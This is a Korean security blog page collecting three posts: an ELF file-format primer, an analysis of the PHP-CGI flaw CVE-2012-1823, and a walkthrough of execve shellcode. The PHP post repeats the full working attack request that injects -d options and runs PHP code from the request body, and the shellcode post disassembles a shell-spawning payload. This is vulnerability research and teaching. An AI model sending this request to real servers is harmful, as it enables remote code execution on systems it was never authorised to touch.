[SP] ELF File

System Programming 2014. 2. 17. 22:48

※ 질문/내용오류/공유할 내용이 있다면 jinkilee73@gmail.com으로 메일 주세요 :-)


그렇다. 매우 오랜만에 System Programming 관련 포스팅이 올라왔다. 갑작스럽게 무슨 내용에 대해서 또 이 사람이 글을 쓰려나~ 하고 있을지 없을지 모르는 독자들은 생각할지 모른다. 다름이 아니라 실행 파일 구조에 대해서 공부를 하고 있어서 공부한 내용에 대해서 포스팅하려고 한다. "공부를 하고 있다"고 했다. 아직 다 하지는 않았다는 뜻이다. 오늘 공부한 내용들 정리해서 올리고 차근 차근 올리려고 한다. 원래의 내 스타일이라면 전부 공부한 다음에 한꺼번에 올리겠지만 이번에는 차근 차근 올려보려고 한다. (가끔 공부하기 싫을 때 포스팅을 하면 재미난다.)


리눅스에서의 실행 파일 구조, 즉 ELF 파일 포멧에 대해서 공부해보자. ELF 파일 포맷은 Executable and Linkable Format의 약자이다. 즉!! 실행 가능하고 링크 가능한 포멧이다. 파일 포멧을 공부하기 전에 우선적으로 알아야 할 내용들이 조금 있다. 바로 기본적인 프로그래밍 Compile/Build 하는 과정이다. 이것을 이해해야 우리는 ELF 파일에 대해서 조금 더 자세하게 공부할 수 있다. 아래의 소스 파일을 보자.


main.c


swap.c

위의 코드는 어떤 과정을 거쳐서 하나의 프로그램이 되는 것일까? 그 과정을 살펴보자.


위의 C파일들이 가장 먼저 거치는 것은 무엇일까? 컴파일러? 아니다. preprocessor다. 이 과정에서는 컴파일을 하기 전에 우선적으로 include되어있는 파일들을 직접 적어 넣어주는 과정이다. 


#include <stdio.h> 라고 선언하므로서 우리는 800줄에 달하는 stdio.h 파일을 일일이 적지 않아도 된다. preprocessor는 stdio.h의 긴 내용을 사람 대신 적어주는 아주 착한 애다. 따라서 main.c와 같은 파일들을 preprocessor를 통해서 돌리면 고작 11줄의 소스코드가 무쟈게 길게 늘어날 것이다. preprocessor를 거치면 .output이 .i 파일로 생기게 된다. 아직까지는 파일의 형태가 우리가 쉽게 읽을 수 있는 C파일이라는 점 기억하자.


다음 과정이 실제로 컴파일하는 과정이다. 컴파일을 거치면 결과물이 .s파일로 나오게 된다. 이는 system programming 포스팅을 하면서 이전에도 소개를 했던 부분이다. 예전에... 이 과정을 거치면 .s파일 즉, 어셈블리언어로 되어있는 파일이 생성된다. 


자 지금까지 우리는 main.c와 swap.c를 preprocessing하고 compiling했다. 이 과정에서 우리가 가지고 있는 파일은 main.i main.s 그리고 swap.i swap.s이다. (물론 preprocessing/compiling 과정에서 생기는 output들을 전부 적어놓을 경우에 해당하는 이야기이다.) 


그 다음에 거치는 것이 assembler이다. assembler는 .s파일을 input으로하여 .o 파일의 output을 내놓는다. .o 파일은 object file을 의미한다. 자!! 여기서부터다. 보통 여기서부터의 파일을 ELF 파일이라고 한다. 아래의 그림으로 정리해보자.


위와 같이 정리될 수 있다. 기본적으로 어셈블러를 거친 후의 파일인 .o파일부터 그 이후는 object file이라고 말한다. 그렇다면 Unix/Linux에서는 저 object file의 구조를 ELF라고 하고 Windows에서는 PE 구조라고 한다. 우리는 Unix/Linux 구조에서 공부하고 있으므로 ELF를 공부하고 있는 것이다.


그렇다면 여기서 질문이 나올 수 있다. .o파일과 여러 개의 .o파일들이 링크되어 만들어진 a.out 파일은 어떻게 다른 것인가? 기본적으로 object file은 아래의 세 가지의 형태를 띈다. 


- Relocatable object file

- Executable object file

- Shared object file


자꾸 object file~ object file 하는데... 무서워할 필요 없다. 그냥 상식적으로 프로그램을 돌리기 위해서는 필요한 요소들이 binary 형태로 나열되어있는 형태의 파일이라고 생각해보자. 가령 아래와 같이 그냥 0101 연속의 형태를 띈 파일일 뿐이다.


0101의 연속의 파일일 뿐인데 특정 영역은 예를 들어 기계어 코드에 해당하는 부분이고 어떤 부분은 프로그램에서 사용하는 변수들에 대한 정보를 담고 있고.. 등등일 뿐이다. (위의 그림은 object file이 별개 아니라는 것을 설명하기 위해서 아무렇게나 막 작성한 것이니 실제 ELF 파일과 비교하지 말자)

Relocatable object file부터 하나하나 설명을 시작할 생각이다. 아!! 한가지 알아두자 Shared object file은 Relocatable object file의 다른 형태라는 것이다. 음.. 뭔가 부족한가? 그래!! 위의 세 가지 type의 object file을 간략하게 맛을 보고 이번 포스팅을 마쳐야겠다. 그래야 나중에 더 이해하기 쉬울 것 같다.


Relocatable object file은 executable object file이 되기 위해 다른 relocatable object file과 결합할 수 있는 파일이다. 


Shared object file은 조금 특별한 형태의 Relocatable object file로 볼 수 있다. 일반적인 relocatable object file처럼 executable object file이 되기 위해 다른 relocatable object file 또는 shared object file과 결합할 수 있으며, 프로그램이 실행 중일 때(run-time) dynamic하게 링크될 수도 있다.(이 두번째 특징 때문에 조금 특별한 형태의 relocatable object file로 정의될 수 있다.)


Executable object file은 메모리에 직접적으로 올라가서 실행될 수 있는 형태의 파일을 의미한다.


자 이제 대충 각각이 어떤 것인지는 설명했다. 다음 포스팅에서 relocatable object file에 대해서 자세하게 이야기해보기로 하자. 조금 포스팅이 짧을 지도 모른다. 왜냐하면 다음 포스팅이 조금 길어질 꺼니까... relocatable object file의 member variable 하나하나 다 설명하려면 아우 장난아니겠다.

Posted by 빛나유

댓글을 달아 주세요

※ 질문/내용오류/공유할 내용이 있다면 jinkilee73@gmail.com으로 메일 주세요 :-)


“-d allow_url_fopen=1 …” 2013년 하반기부터 급격히 늘어난 PHP 공격 구문이다. 해당 취약점이 증가한 이유를 분석하면서 해당 취약점에 대한 상세분석을 했다. 이 보고서는 다음과 같은 내용을 포함한다. 우선 PHP-CGI 취약점에 대한 배경을 설명한 후 취약점 환경에 대한 설명과 실제 취약점 시현 그리고 더 나아가 PHP에서 취약점이 존재하는 이유와 해당 취약점 공격이 진행되었을 경우 확인해야 할 사항들에 대해서 설명할 예정이다.


우선 CVE-2012-1823에 포함되어있는 주요 내용들을 살펴보자.


실제 PHP를 구현한 소스코드 중에서 sapi/cgi/cgi_main.c에 있는 파일 내용에 취약점이 존재한다. 취약점은 PHP 5.3.12 이전 버전과 PHP 5.4.1, PHP 5.4.2 이전 버전에서 존재한다. 해당 취약점은 php-cgi가 설정되어있을 때 실행되는 취약점이다. (위의 내용을 보면 =를 제대로 처리하지 못 해서 취약점이 발생한다고 했는데 이 내용은 이후에 자세하게 다룰 예정이다.) php.net에서 발표한 해당 취약점에 대한 bug report를 보자.



중간에 보면 php cgi기반으로 mod_cgid라는 module을 사용하여 사용될 때, php-cgi argument를 받아서 실행한다고 되어있다. 원래 정상적으로 아파치와 PHP를 설치하여 사용할 경우에는 libphp5.so라는 module을 통해 PHP 파일이 실행된다. 그런데 그 module을 사용하지 않고 php-cgid 모듈을 이용하여 php를 실행할 수도 있는데 이럴 경우 문제가 발생한다는 이야기이다. 이 취약점 환경에 대한 이야기는 아래에서 조금 더 다루기로 하고 이 취약점이 발견된 이력에 대해서 알아보자. 이 취약점은 2012 1월에 Eindbazen이라는 사람에 의해서 최초로 발견되었다.



위의 타임라인에 따르면, 해당 취약점은 2012 1 13일에 최초로 발견되었다.(당시 PHP zero-day) 4일 후 해당 취약점에 대한 Full Report PHP에 송신했으나 그 해 5월까지 취약점에 대한 적절한 패치가 나오지 않고 있다가 5 3일에 누군가에 의해 취약점이 대중에게 알려지게 되었다고 한다. 아직 적절한 해결책이 나오지 않은 상태에서(아직 zero-day인 상황) 취약점이 대중에게 취약점이 노출된 것이다. 3일 후인 5 6일에 PHP는 해당 취약점을 보완한 새로운 버전을 배포했다. 이 때 배포된 버전이 PHP 5.3.12 PHP 5.4.2이다. 이 버전은 CVE-2012-1823에 대한 보완이었다. 그러나 이틀 후인, 5 8일에 해당 취약점에 대한 보완이 제대로 되지 않은 이유로 PHP 5.3.13 PHP 5.4.3을 배포했다. PHP 5.3.13 PHP 5.4.3을 배포하면서 Changelog CVE-2012-2311에 대한 보완이라고 설명해놨다. CVE-2012-2311의 내용을 보자.



결국 CVE-2012-1823과 같은 내용이다. PHP 5.3.12 PHP 5.4.2에서는 ‘=’를 제대로 처리하지 못 하는 취약점에 대한 보완이 있었고 PHP 5.3.13 PHP 5.4.3에서는 ‘%3D’(‘=’에 대한 ASCII code)를 제대로 처리하지 못 하는 취약점에 대한 보완이 있었던 것이다. 대략 아래의 타임라인으로 주요 사항을 정리할 수 있다.


놀라운 사실은 이 취약점이 2004년부터 존재하고 있었다는 것이다. 2004년부터 2012년까지, 8년간 PHP가 간과했던 내용은 무엇일까? 이 내용은 아래에서 자세하게 설명할 예정이다.


CVE-2012-1823 취약점에 대해서 대략적인 설명을 하려고 한다. 위에서 설명했듯이 이 취약점은 php파일을 php-cgi가 실행하도록 구성된 환경에서 작동한다. 일반적으로 알려져 있는 공격 구문은 아래와 같다.


POST /posting.php? -d+allow_url_fopen%3d1+-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input HTTP/1.1

Host: 192.168.0.103

Content-Length: 24

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1700.76 Safari/537.36

Content-Type: application/x-www-form-urlencoded

Accept-Encoding: gzip,deflate,sdch

Accept-Language: ko-KR,ko;q=0.8,en-US;q=0.6,en;q=0.4

 

<?php system("ls"); ?>


위에서 –d php-cgi의 옵션이다. php-cgi–d 옵션을 통해서 php의 환경변수를 변경할 수 있다. allow_url_include, safe_mode, suhosin_simulation, disable_function, open_basedir,

auto_prepend_file 등이 모두 PHP의 옵션이다. , -d 옵션을 통해서 php 코드를 실행할 수 있는 환경을 만든 후 공격자가 php 구문을 삽입하여 코드를 실행하는 것이다.

이제 이러한 취약점이 가능하도록 환경을 구성해보자. 작업 환경은 linux Ubuntu + apache/2.4.7 + PHP 5.4.1이다. PHP 같은 경우 apt-get 등으로 설치하면 해당 취약점에 취약하지 않은 버전이 설치될 확률이 크므로 소스코드를 통해 직접 설치했다. (참고로 리눅스와 아파치에는 해당 취약점 관련된 버그가 존재하지 않으므로 어떠한 버전도 상관없으며(Maybe) PHP 5.3.12 이전 버전과 5.4.1, 5.4.2 버전이 취약한 것으로 알려져 있다.)

 

PHP 설치 과정은 크게 환경 configure을 한 후 Build 그리고 Compile하는 단계로 이루어져있다. 해당 취약점 환경을 만들면서 직접 사용한 configure 명령은 아래와 같다.


./configure --prefix=/usr/local/php5 --with-apxs2=/usr/local/apache2/bin/apxs


위의 옵션은 /usr/local/php5 PHP를 설치할 것이며(--prefix=/usr/local/php5)

/usr/loca/apache2/usr/apxs binary 파일을 아파치 확장 툴(APache eXtenSion tool)로 사용하겠다는 뜻이다. 위의 작업을 마친 후 make 명령어로 Build를 한다


/usr/src/php-5.3.10/ext/dom/node.c: In function ‘dom_canonicalization’:
/usr/src/php-5.3.10/ext/dom/node.c:1898: error: dereferencing pointer to incomplete type
/usr/src/php-5.3.10/ext/dom/node.c:1900: error: dereferencing pointer to incomplete type
make: *** [ext/dom/node.lo] Error 1


위와 같은 에러가 발생할 경우, 아래의 명령어로 node.c documenttype.c simplexxml.c 파일을 패치하면 된다.

wget http://cpanelstuffs.linuxcabin.com/downloads/php1.patch

chmod 755 php1.patch

patch -p0 < php1.patch

 

정상적으로 패치가 되면 아래와 같은 내용을 확인할 수 있다.


patching file ext/dom/node.c
patching file ext/dom/documenttype.c
patching file ext/simplexml/simplexml.c
Hunk #1 succeeded at 1387 (offset -30 lines).


make를 통해서 Build를 마치면 make install을 통해서 PHP를 설치하면 된다. 그 다음 php 설정 파일로 알려져 있는 php.ini 파일을 올바른 경로로 옮기는 등의 작업이 필요하다. (기본적으로 소스코드에는 php.ini.development파일을 php.ini 파일로 복사해서 올바른 경로로 옮겨놔야 php.ini 파일이 제대로 load될 수 있다.

그 다음에 할 일은 httpd.conf 파일을 수정하는 것이다. 이 부분에서 몇 가지 중요한 사항이 있다. 이 파일에서 .php 파일을 php-cgi binary 파일을 통해 실행 가능하도록 설정해주어야 한다. (php-cgi PHP 설치 시 설치되는 binary 파일이다.) 이와 같이 설정을 했으면 아래와 같이 PHP php-cgi를 통해 실행될 수 있다.



 

위에서 구성한 환경을 바탕으로 취약점을 시현해보자. 시현하기 전에 앞으로 사용할 php-cgi 옵션이 어떠한 것이 있는지 알아보자.




위의 옵션 중에서 우선 가장 간단하게 테스트할 수 있는 것이 –s 옵션이다. 이 옵션을 통해서 간단하게 소스코드를 볼 수 있다.

여기서 잠깐, 한번만 더 집고 넘어가자. 지금 CVE-2012-1823 취약점은 .php 이후의 파라미터(-s,  -d 등등)php-cgi로 넘어가는 것이 문제이지 option 자체가 문제는 아니다.

다시 본론으로 돌아와서, -s 옵션을 통해 위에서 실행했던 test.php를 수행해보자. 아래와 같은 결과를 얻는다.


위와 같이 –s가 파라미터로 넘어가서 php-cgi –s가 수행되는 것이다.

간단한 예제를 통해서 확인해봤으니 php 스크립트를 실행할 수 있는 공격을 해보자.


POST /posting.php?-d+allow_url_fopen%3d1+-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input HTTP/1.1

Host: 192.168.0.103

Content-Length: 24

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1700.76 Safari/537.36

Content-Type: application/x-www-form-urlencoded

Accept-Encoding: gzip,deflate,sdch

Accept-Language: ko-KR,ko;q=0.8,en-US;q=0.6,en;q=0.4

 

<?php system("ls"); ?>


위의 공격을 제대로 이해하기 위해서는 우선 각각의 옵션이 무엇을 의미하는지를 이해해야 한다. 아래와 같다.

# allow_url_fopen=1

외부의 URL로부터 파일을 읽어온다는 뜻이다.

# allow_url_include=1

외부의 파일을 include, include_once, require, require_once 와 같은 파일로 include 허용하겠다는 뜻이다.

# auto_prepend_file=php://input

우선 php://input의 의미를 알아야 한다. php://inputHTTP Request Body로부터 data를 가져올 수 있는 read-only stream이다. 위의 공격 구문으로 따지면 <?php system(“ls –al”); ?> 과 같은 구문을 읽어 들인다는 뜻이 되겠다. auto_prepend_file=value value를 먼저 실행한 후(조금 더 정확히 말하면 value include 되어) POST 뒤의 페이지(posting.php)를 실행하겠다는 뜻이다. 따라서 이번 시현에서 사용된 POST /posting.php….. <?php system(“ls –al”) ?> <?php system(“ls –al”); ?>을 먼저 수행하고 posting.php를 수행하겠다는 뜻이 된다. 비슷한 것으로 auto_append_file도 있는데 이는 사용자가 요청한 페이지를(test.php) 먼저 수행하고 php://input(<?php system(“ls –al”) ?>)를 나중에 실행하겠다는 뜻이다.

마지막에 –n php.ini에 존재하는 환경설정 파일을 무시하는 옵션이다. 위 공격을 telnet을 통해 80포트 접속하여 아래와 같이 수행해보자.



위에서 보이는 바와 같이 php 코드가 수행되는 것을 확인할 수 있다. 이 공격은 일반적인 방법으로 web browser를 통해서는 시현하기 힘들다. 정상적으로 위의 페이지를 사용했을 경우를 생각해보면 그 이유를 알 수 있다. 아래의 raw data posting.php를 정상적으로 이용했을 경우에 탐지되는 raw data이다.


POST /posting.php HTTP/1.1

Host: 192.168.0.102

Connection: keep-alive

Content-Length: 45

Cache-Control: max-age=0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

Origin: http://192.168.0.102

User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1700.76 Safari/537.36

Content-Type: application/x-www-form-urlencoded

Referer: http://192.168.0.102/posting.html

Accept-Encoding: gzip,deflate,sdch

Accept-Language: ko-KR,ko;q=0.8,en-US;q=0.6,en;q=0.4


Fullname=abc&UserAddress=abc&BtnSubmit=Submit


HTTP Request Body에 보면 Request Body가 포함되어 있다. 정상적으로 web browser를 통해 해당 페이지를 사용했을 경우에는 이 부분을 예측하기 힘들다. 확인하려면 아마도 paros툴 등을 이용해서 packet을 캡처하여 packet 내용을 수정한 후 전송하는 등의 번거로운 작업을 해야 할 것이다.

취약점이 어떤 식으로 악용될 수 있는지 위에서 자세하게 설명했다. 지금부터는 해당 취약점이 존재하는 원인을 알아보려고 한다. 여기서 다시 한번 CVE-2012-1823에서 설명한 Description을 읽어보자.

PHP 5.4.1에 존재하는 sapi/cgi/cgi_main.c에 존재하는, =를 제대로 처리하지 못 하는 취약점이라고 한다. 그렇다면 sapi/cgi/cgi_main.c를 보자.

위의 코드에는 나와있지 않는 변수이지만, 해당 파일에는 QUERY_STRING이라는 변수가 있다. 이 변수는 http://192.168.0.103/test.php?-s와 같은 요청이 있을 경우 ‘?’ 다음의 문자열인, php에 전달되는 변수들을 의미한다. PHP 5.4.1 버전에서는 php-cgi php를 실행할 경우에는 QUERY_STRING이라는 문자열에 대한 검증이 없다. 1793줄에 있는 if문은 단순히 cgi를 사용하는지를 확인하는 if문이다. 그 후 1805줄에 있는 while문은 php-cgi의 옵션이 존재하는지(-s, -d 등등) 검증하는 부분이고 그 안에 각 옵션에 대한 switch문이 있다. , while문이 수행되면 php-cgi의 옵션이 전달된다는 것이다. (php-cgi를 통해서 PHP를 수행할 때는 이 while문이 수행되면 안 된다는 뜻이다.) 이것이 PHP 5.4.1 cgi_main.c의 전부이다. QUERY_STRING에 대해서 검증하는 부분이 전혀 없기 때문에 취약한 것은 당연한 이야기이다. 놀라운 것은 php-cgi에 대한 RFC 문서를 보면 이러한 취약점에 대한 경고가 명시되어 있으나 PHP 2004년부터 해당 경고를 무시?해왔다는 사실이다. 그렇다면 이 취약점이 2012 5 3일 누군가에 의해 unpatched 상태에서 대중에게 알려지고 3일 후 PHP가 발표한 PHP 5.4.2 소스 코드를 보자.

1797줄에 if문은 수정되지 않았다. 1810줄에서 QUERY_STRING이라는 변수를 처리하는 구문을 만들어놨다. 그런데 여기서 if문의 조건을 자세하게 봐보자.

if (query_string = getenv(“QUERY_STRING”))

QUERY_STRING이라는 환경변수의 주소값을 query_string이라는 char*에 대입하여 그 값이 NULL이 아닐 경우 해당 if문을 수행하는 코드이다. 여기서 QUERY_STRING의 최초 형태를 확인하고 넘어갈 필요가 있다. QUERY_STRING의 최초 형태는 아직 URL-decode되지 않은 상태, 즉 사람이 읽기 조금 어려운 상태이다. 가령 아래와 같다.

-d+allow_url_fopen%3d1+-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input

이러한 상태의 QUERY_STRING getenv함수를 통해서 query_string이 된다.(메모리 주소 복사) 그리고 php_url_decode함수에 의해서 아래와 같이 사람이 읽기 편한 상태의 문자열이 된다.

-d allow_url_fopen=1 -d allow_url_include=1 -d auto_prepend_file=php://input

그 다음에는 이 문자열에서 ‘=’이 없고 문자열이 ‘-‘로 시작하면 skip_getopt 1로 세팅하여 1823줄에 있는 while문을 건너뛰게 된다. 그런데 ‘=’이 있을 경우 while문을 건너뛰어야 하는 것 아닌가? 이 부분이 잘못되어서 PHP 5.4.2는 취약점을 제대로 보완하지 못 한 것이다. 그렇다면 제대로 보완된 PHP 5.4.3은 어떠할까? 소스코드는 아래와 같다.

1816줄에서 아직 QUERY_STRING URL-decode되지 않은  상태에서

1.     QUERY_STRINGNULL이 아니고 (query_string = getenv("QUERY_STRING")) != NULL

2.     ‘=’를 포함하지 않는다면 strchr(query_string, ‘=’) == NULL


php_url_decode함수를 통해 query_string decode하고

1.     그 문자열의 첫 글자가 ‘-‘로 시작한다면 skip_getopt = 1


skip_getopt 1이므로 while문을 건너뛰어 php-cgi 옵션의 실행을 막을 수 있다. 조금 논리적으로 머리 속에서 계산하기 혼동될 수 있으나 종이에 차근차근 쓰면서 계산하면 쉽게 이해할 수 있다. 한번쯤 해보기를 추천한다. (1821줄에 있는 for문은 단순히 query_string의 가장 앞부분의 공백을 제거하기 위한 코드이며 http://localhost/test.php?    -s와 같이 space를 통한 우회기법을 막기 위한 코드이다.)


이 취약점의 근본적인 해결방안은 너무나도 명확하다. PHP php-cgi를 통해 할 경우 PHP 버전의 최신버전을 유지하는 것이다. 업무를 하는 입장에서 취약한 버전과 취약점이 존재하는 조건 등을 숙지하고 있으면 도움이 많이 될 것 같다. 요악하면 아래와 같다.

 

# 취약한 PHP 버전

- PHP 5.3.13 이전 버전 또는 PHP 5.4.1, PHP 5.4.2

 

# 취약점이 존재하는 조건

- 취약한 PHP 버전을 사용하고 있을 경우

- php-cgi를 통해 php를 실행시킬 경우

 

추가적으로 아래와 같이 이 취약점을 이용한 공격이 실행되어 영향성을 테스트할 때 쉽게 저지를 수 있는 실수를 알아보자.


POST /posting.php?-d+allow_url_fopen%3d1+-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input HTTP/1.1

Host: 192.168.0.103

Content-Length: 24

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1700.76 Safari/537.36

Content-Type: application/x-www-form-urlencoded

Accept-Encoding: gzip,deflate,sdch

Accept-Language: ko-KR,ko;q=0.8,en-US;q=0.6,en;q=0.4

 

<?php system("ls"); ?>


우선 “-d+allow_url_fopen%3d1…”과 같은 파라미터를 보기 좋게 디코딩해서 테스트를 수행하면 안 된다. 이유는 위의 내용을 잘 읽어보면 알 수 있다.

두 번째로는 되도록이면 –d 옵션에 대한 POST 취약점을 검증할 경우에는 웹 브라우저보다는 telnet을 통한 검증이 좋다고 생각한다. 웹 브라우저를 통해 테스트할 경우에는 사용자의 입력값을 완벽하게 컨트롤할 수 없다. 가령 telnet을 이용할 경우에는 입력값으로 오로지 사용자가 원하는 값을 넣을 수 있으나 웹 브라우저를 이용해서 사용자의 입력값을 전달할 경우에는 사용자가 의도하지 않는 값이 들어갈 수 있으므로 테스트 환경상 좋지 않다고 생각한다. 참고로 telnet으로 테스트할 때 Content-Length값을 제대로 설정할 것을 잊지 않아야 한다.

세 번째, 가장 간단하게 테스트를 하기 위해서는 %-s를 이용하여 소스코드가 노출되는지를 확인하는 방법이 가장 간편하다. 이는 웹 브라우저에서도 쉽게 가능하고 추가적으로 url-decode들을 고려하지 않아도 되기 때문에 쉬우면서도 간편한 테스트 방법이라고 생각한다.



'Vulnerability' 카테고리의 다른 글

[Vul] Linux IRC bot Malware Analysis - Incomplete  (0) 2014.12.22
[Vul] Shellshock (CVE-2014-6271)  (6) 2014.10.25
[Vul] CVE-2012-1823 Vulnerability  (1) 2014.01.21
[Vul] Shellcode Execution  (4) 2013.12.30
[Vul] Format String Vulnerability  (0) 2013.11.23
[Vul] Slowloris DoS Tool  (0) 2013.10.28
Posted by 빛나유

댓글을 달아 주세요

  1. azero 2014.04.16 11:57  댓글주소  수정/삭제  댓글쓰기

    해당 취약점에 대해 찾아보다가 이 글을 발견헀네요
    아주 자세한 설명 정말 감사드립니다.

※ 질문/내용오류/공유할 내용이 있다면 jinkilee73@gmail.com으로 메일 주세요 :-)


얼마 전에 포스팅한 buffer overflow shell code execution 관련해서 추가적으로 kernel 관련한 내용을 포스팅 할 일이 생겨서 이렇게 포스팅을 한다. shellcode execution 포스팅에서 수행시키는 그 shellcode를 실행하면 실제로 shell이 뜨게 되는데 왜 shell이 실행될까 궁금해서 공부하던 중 알아낸 내용인데 너무너무나도 중요하다고 판단해서 포스팅하려 한다.


우선 실행할 shellcode를 다시 한번 봐보자.


shellcode부터 shellcode+35까지 봐보자. 처음 세 줄은 %eax, %ebx, %ecx 0x00000000으로 초기화 하는 과정이다. cltd %eax register에 대하여 Convert signed Long To signed Double Long 하라는 뜻이다. , signed long 형의 % eax register %edx:%eax로 바꾸라는 것이다. 그리고 0xa4의 값을 %al register에 복사한다. %al register는 아래의 표를 참고하면 이해할 수 있을 것이다.

%al register %eax register low 8 bit을 의미한다. %cl, %dl, 등등 다른 register들도 위의 표를 보고 참고하면 이해하기 쉬울 것이다.

 

자 아무튼 %al 164(0xa4)를 넣고 int 0x80을 한다. 이 부분이 중요하다. 이 부분은 system call을 하는 부분이다. 여기서 164의 의미를 알아보자.

(location : /arch/x86/kernel/syscall_table_32.S)

 

커널에 선언되어있는 system call table을 살펴보면 164 sys_setresuid16이라는 함수임을 알 수 있다. 이 부분이 중요한 이유는 system call을 할 때의 parameter passing은 일반적인 procedure call parameter passing과는 다르기 때문이다. system call application stack에 직접 접근할 수 없으므로 register에 값을 저장하여 그 값을 parameter로 사용한다. 우선 system call을 호출할 때 가장 중요한 system call 번호는 무조건 %eax에 저장한다. 따라서 mov $0xa4, %al이라는 명령어를 수행한 것이다. 그리고 system call에 대한 parameter들은 차례대로 아래와 같이 전달된다.

(location : arch/x86/ia32/ia32entry.S)

 

위의 주석은 실제 리눅스 커널에 쓰여있는 주석이다. 이 주석을 보면 각 register에 있는 값을 system call에 대한 parameter로 사용하겠다는 것은 이해할 수 있다. 그런데 몇 개의 parameter를 사용하는지는 어떻게 알 수 있을까? /include/linux/syscalls.h에 보면 각 system call에 대한 선언이 되어있다. 여기서 각 system call들이 몇 개의 parameter를 가지고 있는지 확인할 수 있다.


(location : include/linux/syscalls.h)

우리가 사용할 sys_setresuid syscalls.h에 위와 같이 세 개의 parameter를 사용하기로 정의가 되어있다. 따라서 사용할 사람은 %ebx부터 차례대로 %ecx, %edx parameter로 사용할 값을 넣고 int 0x80으로 인터럽트를 수행시키면 된다. 지금까지 설명한 과정이 아래의 코드에서 모두 수행된다.

xor       %eax, %eax

xor       %ebx, %ebx

xor       %ecx, %ecx

cltd

mov     $0xa4, %al

int       $0x80

 

그 다음 과정은 0xb push한 후, 0xb pop하면서 %eax에 저장하는 것이다. 여기에서 궁금한 점은 왜 아래와 같이 한 명령어로 끝내지 않고

 

mov      $0xb, %al

 

두 번에 걸쳐 push & pop을 하는지 궁금하다. 그렇지만 우선 계속 넘어가보자. 다음 수행할 코드는 push mov이다.

push     %ecx

push     $0x68732f2f

push     $0x6e69622f

mov      $esp, $ebx

 

위 명령어의 결과를 실제 스택으로 보면 아래와 같은 모습의 스택이 될 것이다.

push를 이용해서 값을 스택에 쌓은 후 %esp의 값을 %ebx에 복사한다. %ebx에 복사할까? 후에 system call interrupt를 통해 system call을 수행하기 위함이다. 그 다음에 수행할 명령어는 아래와 같다.

 

push     %ecx

mov      %esp, %edx

push     %ebx

mov      %esp, %ecx

이 상태에서 int   0x80을 수행하여 system call을 호출한다. 아래의 두 명령어를 통해서 %eax 11이 된다.

 

push     $0xb

pop      %eax

 

Kernel에 선언되어있는 데로 system call table을 찾아보면 system call number 11ptregs_execve라는 system call mapping되어 있다. ptregs_execve는 프로그램을 수행시키는 함수이다. 이 과정에서 0xbffff480에 있는 /bin//ssh 문자열이 사용되고 해당 프로그램이 실행되는 것으로 추정된다.


그렇다면 실제 커널에서 이 함수가 어떻게 선언되어있는지 확인해보자.


위와 같이 선언되어있다. 즉 이 함수는 X개의 파라미터를 사용하기 때문에 이 함수를 call하기 위해서는 %ebx, %ecx, %edx 세 개의 레지스터에 값을 넣으느 후 execve system call을 의미하는 숫자 11을 %eax에 넣은 후 int    0x80을 하면 된다.


'Linux Kernel' 카테고리의 다른 글

[Kernel] System Call Calling Convention  (0) 2014.01.05
[Kernel] printf 함수  (1) 2013.11.23
시작하며  (0) 2013.08.30
Posted by 빛나유

댓글을 달아 주세요